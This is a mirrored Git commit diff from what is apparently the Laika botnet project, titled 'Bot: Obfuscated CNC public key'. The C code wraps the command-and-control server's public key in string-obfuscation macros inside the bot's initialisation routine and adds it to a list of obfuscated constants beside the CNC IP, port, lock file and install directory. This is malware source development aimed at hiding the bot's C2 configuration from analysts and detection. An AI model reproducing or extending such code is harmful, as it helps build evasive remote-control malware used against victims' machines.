mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 05:31:03 +00:00
Bot: Obfuscated CNC public key
This commit is contained in:
parent
0fdca35f87
commit
fed78402a2
@ -1,6 +1,7 @@
|
|||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
|
#include "lbox.h"
|
||||||
#include "bot.h"
|
#include "bot.h"
|
||||||
#include "shell.h"
|
#include "shell.h"
|
||||||
|
|
||||||
@ -53,6 +54,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
|
|||||||
/* ==================================================[[ Bot ]]=================================================== */
|
/* ==================================================[[ Bot ]]=================================================== */
|
||||||
|
|
||||||
struct sLaika_bot *laikaB_newBot(void) {
|
struct sLaika_bot *laikaB_newBot(void) {
|
||||||
|
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
|
||||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||||
struct hostent *host;
|
struct hostent *host;
|
||||||
char *tempINBuf;
|
char *tempINBuf;
|
||||||
@ -90,7 +92,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* read cnc's public key into peerPub */
|
/* read cnc's public key into peerPub */
|
||||||
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
|
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, cncPubKey, NULL)) {
|
||||||
laikaB_freeBot(bot);
|
laikaB_freeBot(bot);
|
||||||
LAIKA_ERROR("Failed to init cnc public key!\n");
|
LAIKA_ERROR("Failed to init cnc public key!\n");
|
||||||
}
|
}
|
||||||
@ -113,6 +115,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
|||||||
|
|
||||||
/* copy inet address info */
|
/* copy inet address info */
|
||||||
strcpy(bot->peer->inet, tempINBuf);
|
strcpy(bot->peer->inet, tempINBuf);
|
||||||
|
LAIKA_BOX_SKID_END(cncPubKey);
|
||||||
return bot;
|
return bot;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -74,6 +74,7 @@ int main(int argv, char **argc) {
|
|||||||
/* shared */
|
/* shared */
|
||||||
MAKESKIDDATA(LAIKA_CNC_IP);
|
MAKESKIDDATA(LAIKA_CNC_IP);
|
||||||
MAKESKIDDATA(LAIKA_CNC_PORT);
|
MAKESKIDDATA(LAIKA_CNC_PORT);
|
||||||
|
MAKESKIDDATA(LAIKA_PUBKEY);
|
||||||
/* linux */
|
/* linux */
|
||||||
MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
|
MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
|
||||||
MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
|
MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
|
||||||
|
Loading…
Reference in New Issue
Block a user